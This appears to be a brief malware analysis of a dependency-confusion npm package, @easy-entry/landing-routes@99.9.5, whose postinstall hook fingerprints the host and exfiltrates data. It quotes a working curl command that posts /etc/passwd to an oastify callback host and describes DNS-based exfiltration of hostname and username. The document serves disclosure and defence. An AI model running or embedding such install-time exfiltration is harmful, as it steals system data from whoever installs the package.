@easy-entry/landing-routes@99.9.5

Analysis

Dependency-confusion stub: @easy-entry/landing-routes uses sentinel version 99.9.5, a 593-byte tarball with no README or repo. A postinstall hook runs two-stage exfil: (1) node scripts/scream3gg.js captures os.hostname(), os.homedir(), and os.userInfo().username, hex-encodes them, and exfiltrates via DNS subdomain to an oastify[.]com OOB callback host; (2) /usr/bin/curl --data '@/etc/passwd' $(hostname).oastify[.]com leaks /etc/passwd tagged with the hostname. Double-barrel exfiltration: system fingerprint plus credential-surface theft via the passwd file.